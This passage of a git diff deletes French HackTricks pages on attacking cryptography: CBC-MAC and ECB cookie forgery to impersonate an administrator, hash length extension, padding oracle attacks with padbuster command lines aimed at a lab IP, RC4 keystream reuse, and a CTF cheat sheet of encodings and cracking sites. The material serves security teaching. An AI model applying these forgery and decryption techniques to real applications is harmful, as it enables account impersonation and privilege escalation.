d'utilisateur) et que vous souhaitez usurper le nom d'utilisateur "**admin**". Alors, vous pouvez créer le nom d'utilisateur **"bdmin"** et **bruteforcer** le **premier octet** du cookie. - -# CBC-MAC - -**Code d'authentification de message par chaîne de blocs chiffrés** (**CBC-MAC**) est une méthode utilisée en cryptographie. Elle fonctionne en prenant un message et en l'encryptant bloc par bloc, où l'encryption de chaque bloc est liée à celle du bloc précédent. Ce processus crée une **chaîne de blocs**, garantissant que changer même un seul bit du message original entraînera un changement imprévisible dans le dernier bloc de données chiffrées. Pour effectuer ou inverser un tel changement, la clé de chiffrement est requise, assurant la sécurité. - -Pour calculer le CBC-MAC du message m, on chiffre m en mode CBC avec un vecteur d'initialisation nul et on conserve le dernier bloc. La figure suivante esquisse le calcul du CBC-MAC d'un message composé de blocs ![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) en utilisant une clé secrète k et un chiffre par blocs E : - -![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() - -# Vulnérabilité - -Avec CBC-MAC, généralement le **IV utilisé est 0**.\ -C'est un problème car 2 messages connus (`m1` et `m2`) généreront indépendamment 2 signatures (`s1` et `s2`). Donc : - -- `E(m1 XOR 0) = s1` -- `E(m2 XOR 0) = s2` - -Ensuite, un message composé de m1 et m2 concaténés (m3) générera 2 signatures (s31 et s32) : - -- `E(m1 XOR 0) = s31 = s1` -- `E(m2 XOR s1) = s32` - -**Ce qui est possible à calculer sans connaître la clé de chiffrement.** - -Imaginez que vous chiffrez le nom **Administrator** en blocs de **8 octets** : - -- `Administ` -- `rator\00\00\00` - -Vous pouvez créer un nom d'utilisateur appelé **Administ** (m1) et récupérer la signature (s1).\ -Ensuite, vous pouvez créer un nom d'utilisateur appelé le résultat de `rator\00\00\00 XOR s1`. Cela générera `E(m2 XOR s1 XOR 0)` qui est s32.\ -Maintenant, vous pouvez utiliser s32 comme la signature du nom complet **Administrator**. - -### Résumé - -1. Obtenez la signature du nom d'utilisateur **Administ** (m1) qui est s1 -2. Obtenez la signature du nom d'utilisateur **rator\x00\x00\x00 XOR s1 XOR 0** qui est s32**.** -3. Définissez le cookie sur s32 et ce sera un cookie valide pour l'utilisateur **Administrator**. - -# Attaque Contrôlant IV - -Si vous pouvez contrôler l'IV utilisé, l'attaque pourrait être très facile.\ -Si le cookie est juste le nom d'utilisateur chiffré, pour usurper l'utilisateur "**administrator**", vous pouvez créer l'utilisateur "**Administrator**" et vous obtiendrez son cookie.\ -Maintenant, si vous pouvez contrôler l'IV, vous pouvez changer le premier octet de l'IV de sorte que **IV\[0] XOR "A" == IV'\[0] XOR "a"** et régénérer le cookie pour l'utilisateur **Administrator.** Ce cookie sera valide pour **usurper** l'utilisateur **administrator** avec l'**IV** initial. - -## Références - -Plus d'informations sur [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md deleted file mode 100644 index 1244efc1d..000000000 --- a/src/cryptography/crypto-ctfs-tricks.md +++ /dev/null @@ -1,271 +0,0 @@ -# Crypto CTFs Tricks - -{{#include ../banners/hacktricks-training.md}} - -## Bases de données de hachages en ligne - -- _**Googlez-le**_ -- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) -- [https://crackstation.net/](https://crackstation.net) -- [https://md5decrypt.net/](https://md5decrypt.net) -- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com) -- [https://gpuhash.me/](https://gpuhash.me) -- [https://hashes.org/search.php](https://hashes.org/search.php) -- [https://www.cmd5.org/](https://www.cmd5.org) -- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) -- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) - -## Résolveurs automatiques magiques - -- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (module magique) -- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) -- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) - -## Encodeurs - -La plupart des données encodées peuvent être décodées avec ces 2 ressources : - -- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - -### Résolveurs automatiques de substitution - -- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Très bon ! - -#### Résolveurs automatiques de César - ROTx - -- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) - -#### Chiffre d'Atbash - -- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) - -### Résolveur automatique d'encodages de base - -Vérifiez toutes ces bases avec : [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - -- **Ascii85** -- `BQ%]q@psCd@rH0l` -- **Base26** \[_A-Z_] -- `BQEKGAHRJKHQMVZGKUXNT` -- **Base32** \[_A-Z2-7=_] -- `NBXWYYLDMFZGCY3PNRQQ====` -- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] -- `pbzsaamdcf3gna5xptoo====` -- **Base32 Geohash** \[_0-9b-hjkmnp-z_] -- `e1rqssc3d5t62svgejhh====` -- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] -- `D1QPRRB3C5S62RVFDHGG====` -- **Base32 Hexadécimal étendu** \[_0-9A-V_] -- `D1NMOOB3C5P62ORFDHGG====` -- **Base45** \[_0-9A-Z $%\*+-./:_] -- `59DPVDGPCVKEUPCPVD` -- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] -- `2yJiRg5BF9gmsU6AC` -- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] -- `2YiHqF5bf9FLSt6ac` -- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] -- `pyJ5RgnBE9gm17awU` -- **Base62** \[_0-9A-Za-z_] -- `g2AextRZpBKRBzQ9` -- **Base64** \[_A-Za-z0-9+/=_] -- `aG9sYWNhcmFjb2xh` -- **Base67** \[_A-Za-z0-9-_.!\~\_] -- `NI9JKX0cSUdqhr!p` -- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `BQ%]q@psCd@rH0l` -- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `<~BQ%]q@psCd@rH0l~>` -- **Base85 (IPv6 ou RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] -- `Xm4y`V\_|Y(V{dF>\` -- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` -- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] -- `Xm4y|V{~Y+V}dF?` -- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] -- `frDg[*jNN!7&BQM` -- **Base100** \[] -- `👟👦👣👘👚👘👩👘👚👦👣👘` -- **Base122** \[] -- `4F ˂r0Xmvc` -- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] -- `MIc3KiXa+Ihz+lrXMIc3KbCC` -- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] -- `DmPsv8J7qrlKEoY7` -- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] -- `kLD8iwKsigSalLJ5` -- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] -- `ayRiIo1gpO+uUc7g` -- **ESAB46** \[] -- `3sHcL2NR8WrT7mhR` -- **MEGAN45** \[] -- `kLD8igSXm2KZlwrX` -- **TIGO3FX** \[] -- `7AP9mIzdmltYmIP9mWXX` -- **TRIPO5** \[] -- `UE9vSbnBW6psVzxB` -- **FERON74** \[] -- `PbGkNudxCzaKBm0x` -- **GILA7** \[] -- `D+nkv8C1qIKMErY1` -- **Citrix CTX1** \[] -- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` - -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Mort : [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### HackerizeXS \[_╫Λ↻├☰┏_] -``` -╫☐↑Λ↻Λ┏Λ↻☐↑Λ -``` -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Mort : [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### Morse -``` -.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- -``` -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Mort : [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - -### UUencoder -``` -begin 644 webutils_pl -M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( -M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/ -F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` -` -end -``` -- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) - -### XXEncoder -``` -begin 644 webutils_pl -hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 -5Hol-G2xAEE++ -end -``` -- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) - -### YEncoder -``` -=ybegin line=128 size=28 name=webutils_pl -ryvkryvkryvkryvkryvkryvkryvk -=yend size=28 crc32=35834c86 -``` -- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) - -### BinHex -``` -(This file must be converted with BinHex 4.0) -:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p --38K26%'d9J!!: -``` -- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) - -### ASCII85 -``` -<~85DoF85DoF85DoF85DoF85DoF85DoF~> -``` -- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) - -### Clavier Dvorak -``` -drnajapajrna -``` -- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) - -### A1Z26 - -Lettres à leur valeur numérique -``` -8 15 12 1 3 1 18 1 3 15 12 1 -``` -### Affine Cipher Encode - -Lettre à numéro `(ax+b)%26` (_a_ et _b_ sont les clés et _x_ est la lettre) et le résultat revient à la lettre -``` -krodfdudfrod -``` -### SMS Code - -**Multitap** [remplace une lettre](https://www.dcode.fr/word-letter-change) par des chiffres répétés définis par le code de la touche correspondante sur un [clavier de téléphone](https://www.dcode.fr/phone-keypad-cipher) (Ce mode est utilisé lors de l'écriture de SMS).\ -Par exemple : 2=A, 22=B, 222=C, 3=D...\ -Vous pouvez identifier ce code car vous verrez **plusieurs chiffres répétés**. - -Vous pouvez décoder ce code ici : [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substituez chaque lettre par 4 A ou B (ou 1 et 0) -``` -00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 -AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA -``` -### Runes - -![](../images/runes.jpg) - -## Compression - -**Raw Deflate** et **Raw Inflate** (vous pouvez les trouver dans Cyberchef) peuvent compresser et décompresser des données sans en-têtes. - -## Easy Crypto - -### XOR - Autosolver - -- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) - -### Bifid - -Un mot-clé est nécessaire -``` -fgaargaamnlunesuneoa -``` -### Vigenere - -Un mot-clé est nécessaire -``` -wodsyoidrods -``` -- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) -- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) -- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) - -## Crypto Fort - -### Fernet - -2 chaînes base64 (token et clé) -``` -Token: -gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== - -Key: --s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= -``` -- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) - -### Partage Secret de Samir - -Un secret est divisé en X parties et pour le récupérer, vous avez besoin de Y parties (_Y <=X_). -``` -8019f8fa5879aa3e07858d08308dc1a8b45 -80223035713295bddf0b0bd1b10a5340b89 -803bc8cf294b3f83d88e86d9818792e80cd -``` -[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) - -### Brute-force OpenSSL - -- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) -- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) - -## Outils - -- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) -- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) -- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md deleted file mode 100644 index 64c3c6756..000000000 --- a/src/cryptography/electronic-code-book-ecb.md +++ /dev/null @@ -1,68 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# ECB - -(ECB) Electronic Code Book - schéma de chiffrement symétrique qui **remplace chaque bloc du texte clair** par le **bloc de texte chiffré**. C'est le **schéma de chiffrement le plus simple**. L'idée principale est de **diviser** le texte clair en **blocs de N bits** (dépend de la taille du bloc de données d'entrée, de l'algorithme de chiffrement) et ensuite de chiffrer (déchiffrer) chaque bloc de texte clair en utilisant la seule clé. - -![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) - -L'utilisation de l'ECB a plusieurs implications en matière de sécurité : - -- **Des blocs du message chiffré peuvent être supprimés** -- **Des blocs du message chiffré peuvent être déplacés** - -# Détection de la vulnérabilité - -Imaginez que vous vous connectez à une application plusieurs fois et que vous **recevez toujours le même cookie**. C'est parce que le cookie de l'application est **`|`**.\ -Ensuite, vous générez deux nouveaux utilisateurs, tous deux avec le **même mot de passe long** et **presque** le **même** **nom d'utilisateur**.\ -Vous découvrez que les **blocs de 8B** où les **informations des deux utilisateurs** sont les mêmes sont **égaux**. Ensuite, vous imaginez que cela pourrait être parce que **l'ECB est utilisé**. - -Comme dans l'exemple suivant. Observez comment ces **2 cookies décodés** ont plusieurs fois le bloc **`\x23U\xE45K\xCB\x21\xC8`**. -``` -\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 - -\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 -``` -C'est parce que le **nom d'utilisateur et le mot de passe de ces cookies contenaient plusieurs fois la lettre "a"** (par exemple). Les **blocs** qui sont **différents** sont des blocs qui contenaient **au moins 1 caractère différent** (peut-être le délimiteur "|" ou une différence nécessaire dans le nom d'utilisateur). - -Maintenant, l'attaquant doit juste découvrir si le format est `` ou ``. Pour ce faire, il peut simplement **générer plusieurs noms d'utilisateur** avec des **noms d'utilisateur et mots de passe similaires et longs jusqu'à ce qu'il trouve le format et la longueur du délimiteur :** - -| Longueur du nom d'utilisateur : | Longueur du mot de passe : | Longueur du nom d'utilisateur + mot de passe : | Longueur du cookie (après décodage) : | -| ------------------------------- | -------------------------- | ---------------------------------------------- | ------------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | - -# Exploitation de la vulnérabilité - -## Suppression de blocs entiers - -Sachant le format du cookie (`|`), afin d'usurper le nom d'utilisateur `admin`, créez un nouvel utilisateur appelé `aaaaaaaaadmin` et obtenez le cookie et décodez-le : -``` -\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 -``` -Nous pouvons voir le motif `\x23U\xE45K\xCB\x21\xC8` créé précédemment avec le nom d'utilisateur qui ne contenait que `a`.\ -Ensuite, vous pouvez supprimer le premier bloc de 8B et vous obtiendrez un cookie valide pour le nom d'utilisateur `admin` : -``` -\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 -``` -## Déplacement des blocs - -Dans de nombreuses bases de données, il est identique de rechercher `WHERE username='admin';` ou `WHERE username='admin ';` _(Notez les espaces supplémentaires)_ - -Ainsi, une autre façon d'usurper l'utilisateur `admin` serait de : - -- Générer un nom d'utilisateur qui : `len() + len(` générera 2 blocs de 8B. -- Ensuite, générer un mot de passe qui remplira un nombre exact de blocs contenant le nom d'utilisateur que nous voulons usurper et des espaces, comme : `admin ` - -Le cookie de cet utilisateur sera composé de 3 blocs : les 2 premiers sont les blocs du nom d'utilisateur + délimiteur et le troisième du mot de passe (qui simule le nom d'utilisateur) : `username |admin ` - -**Ensuite, il suffit de remplacer le premier bloc par le dernier et vous usurperez l'utilisateur `admin` : `admin |username`** - -## Références - -- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md deleted file mode 100644 index ff4aeee96..000000000 --- a/src/cryptography/hash-length-extension-attack.md +++ /dev/null @@ -1,38 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# Résumé de l'attaque - -Imaginez un serveur qui **signe** certaines **données** en **ajoutant** un **secret** à des données en clair connues, puis en hachant ces données. Si vous savez : - -- **La longueur du secret** (cela peut également être bruteforced à partir d'une plage de longueurs donnée) -- **Les données en clair** -- **L'algorithme (et il est vulnérable à cette attaque)** -- **Le remplissage est connu** -- En général, un par défaut est utilisé, donc si les 3 autres exigences sont remplies, cela l'est aussi -- Le remplissage varie en fonction de la longueur du secret + données, c'est pourquoi la longueur du secret est nécessaire - -Alors, il est possible pour un **attaquant** d'**ajouter** des **données** et de **générer** une **signature** valide pour les **données précédentes + données ajoutées**. - -## Comment ? - -Fondamentalement, les algorithmes vulnérables génèrent les hachages en **hachant d'abord un bloc de données**, puis, **à partir** du **hachage** (état) **précédemment** créé, ils **ajoutent le prochain bloc de données** et **le hachent**. - -Ensuite, imaginez que le secret est "secret" et que les données sont "data", le MD5 de "secretdata" est 6036708eba0d11f6ef52ad44e8b74d5b.\ -Si un attaquant veut ajouter la chaîne "append", il peut : - -- Générer un MD5 de 64 "A" -- Changer l'état du hachage précédemment initialisé en 6036708eba0d11f6ef52ad44e8b74d5b -- Ajouter la chaîne "append" -- Terminer le hachage et le hachage résultant sera un **valide pour "secret" + "data" + "padding" + "append"** - -## **Outil** - -{{#ref}} -https://github.com/iagox86/hash_extender -{{#endref}} - -## Références - -Vous pouvez trouver cette attaque bien expliquée sur [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md deleted file mode 100644 index 2ae435925..000000000 --- a/src/cryptography/padding-oracle-priv.md +++ /dev/null @@ -1,102 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -
- -# CBC - Chaînage de blocs de chiffrement - -En mode CBC, le **bloc chiffré précédent est utilisé comme IV** pour XOR avec le bloc suivant : - -![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) - -Pour déchiffrer en CBC, les **opérations** **opposées** sont effectuées : - -![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) - -Remarquez qu'il est nécessaire d'utiliser une **clé de chiffrement** et un **IV**. - -# Remplissage de message - -Comme le chiffrement est effectué en **blocs** de **taille** **fixe**, un **remplissage** est généralement nécessaire dans le **dernier** **bloc** pour compléter sa longueur.\ -Généralement, **PKCS7** est utilisé, ce qui génère un remplissage **répétant** le **nombre** de **bytes** **nécessaires** pour **compléter** le bloc. Par exemple, si le dernier bloc manque de 3 bytes, le remplissage sera `\x03\x03\x03`. - -Examinons plus d'exemples avec **2 blocs de longueur 8bytes** : - -| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | -| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | -| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | - -Notez comment dans le dernier exemple, le **dernier bloc était plein, donc un autre a été généré uniquement avec du remplissage**. - -# Oracle de remplissage - -Lorsqu'une application déchiffre des données chiffrées, elle déchiffre d'abord les données ; puis elle supprime le remplissage. Pendant le nettoyage du remplissage, si un **remplissage invalide déclenche un comportement détectable**, vous avez une **vulnérabilité d'oracle de remplissage**. Le comportement détectable peut être une **erreur**, un **manque de résultats**, ou une **réponse plus lente**. - -Si vous détectez ce comportement, vous pouvez **déchiffrer les données chiffrées** et même **chiffrer n'importe quel texte clair**. - -## Comment exploiter - -Vous pourriez utiliser [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) pour exploiter ce type de vulnérabilité ou simplement faire -``` -sudo apt-get install padbuster -``` -Pour tester si le cookie d'un site est vulnérable, vous pourriez essayer : -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -``` -**L'encodage 0** signifie que **base64** est utilisé (mais d'autres sont disponibles, consultez le menu d'aide). - -Vous pourriez également **abuser de cette vulnérabilité pour chiffrer de nouvelles données. Par exemple, imaginez que le contenu du cookie est "**_**user=MyUsername**_**", alors vous pouvez le changer en "\_user=administrator\_" et élever les privilèges à l'intérieur de l'application. Vous pourriez également le faire en utilisant `paduster` en spécifiant le paramètre -plaintext** : -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" -``` -Si le site est vulnérable, `padbuster` essaiera automatiquement de trouver quand l'erreur de remplissage se produit, mais vous pouvez également indiquer le message d'erreur en utilisant le paramètre **-error**. -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" -``` -## La théorie - -En **résumé**, vous pouvez commencer à déchiffrer les données chiffrées en devinant les valeurs correctes qui peuvent être utilisées pour créer tous les **différents remplissages**. Ensuite, l'attaque de l'oracle de remplissage commencera à déchiffrer les octets de la fin au début en devinant quelle sera la valeur correcte qui **crée un remplissage de 1, 2, 3, etc**. - -![](<../images/image (629) (1) (1).png>) - -Imaginez que vous avez un texte chiffré qui occupe **2 blocs** formés par les octets de **E0 à E15**.\ -Pour **déchiffrer** le **dernier** **bloc** (**E8** à **E15**), tout le bloc passe par le "décryptage par bloc" générant les **octets intermédiaires I0 à I15**.\ -Enfin, chaque octet intermédiaire est **XORé** avec les octets chiffrés précédents (E0 à E7). Donc : - -- `C15 = D(E15) ^ E7 = I15 ^ E7` -- `C14 = I14 ^ E6` -- `C13 = I13 ^ E5` -- `C12 = I12 ^ E4` -- ... - -Maintenant, il est possible de **modifier `E7` jusqu'à ce que `C15` soit `0x01`**, ce qui sera également un remplissage correct. Donc, dans ce cas : `\x01 = I15 ^ E'7` - -Ainsi, en trouvant E'7, il est **possible de calculer I15** : `I15 = 0x01 ^ E'7` - -Ce qui nous permet de **calculer C15** : `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` - -Sachant **C15**, il est maintenant possible de **calculer C14**, mais cette fois en forçant le remplissage `\x02\x02`. - -Ce BF est aussi complexe que le précédent car il est possible de calculer le `E''15` dont la valeur est 0x02 : `E''7 = \x02 ^ I15` donc il suffit de trouver le **`E'14`** qui génère un **`C14` égal à `0x02`**.\ -Ensuite, suivez les mêmes étapes pour déchiffrer C14 : **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** - -**Suivez cette chaîne jusqu'à ce que vous déchiffriez tout le texte chiffré.** - -## Détection de la vulnérabilité - -Enregistrez un compte et connectez-vous avec ce compte.\ -Si vous **vous connectez plusieurs fois** et obtenez toujours le **même cookie**, il y a probablement **quelque chose** **de mal** dans l'application. Le **cookie renvoyé devrait être unique** chaque fois que vous vous connectez. Si le cookie est **toujours** le **même**, il sera probablement toujours valide et il **n'y aura aucun moyen de l'invalider**. - -Maintenant, si vous essayez de **modifier** le **cookie**, vous pouvez voir que vous obtenez une **erreur** de l'application.\ -Mais si vous BF le remplissage (en utilisant padbuster par exemple), vous parvenez à obtenir un autre cookie valide pour un utilisateur différent. Ce scénario est très probablement vulnérable à padbuster. - -## Références - -- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) - -
- -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md deleted file mode 100644 index 38b981106..000000000 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ /dev/null @@ -1,15 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -Si vous pouvez d'une manière ou d'une autre chiffrer un texte en clair en utilisant RC4, vous pouvez déchiffrer tout contenu chiffré par ce RC4 (en utilisant le même mot de passe) simplement en utilisant la fonction de chiffrement. - -Si vous pouvez chiffrer un texte en clair connu, vous pouvez également extraire le mot de passe. Plus de références peuvent être trouvées dans la machine HTB Kryptos : - -{{#ref}} -https://0xrick.github.io/hack-the-box/kryptos/ -{{#endref}} - -{{#ref}} -https://0xrick.github.io/hack-the-box/kryptos/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/emails-vulns.md b/src/emails-vulns.md deleted file mode 100644 index 37481539f..000000000 --- a/src/emails-vulns.md +++ /dev/null @@ -1,9 +0,0 @@ -# Vulnérabilités des Emails - -{{#include ./banners/hacktricks-training.md}} - -## - -## - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md deleted file mode 100644 index c481b175b..000000000 --- a/src/exploiting/linux-exploiting-basic-esp/README.md +++ /dev/null @@ -1,542 +0,0 @@ -# Linux Exploiting (Basic) (SPA) - -{{#include ../../banners/hacktricks-training.md}} - -## 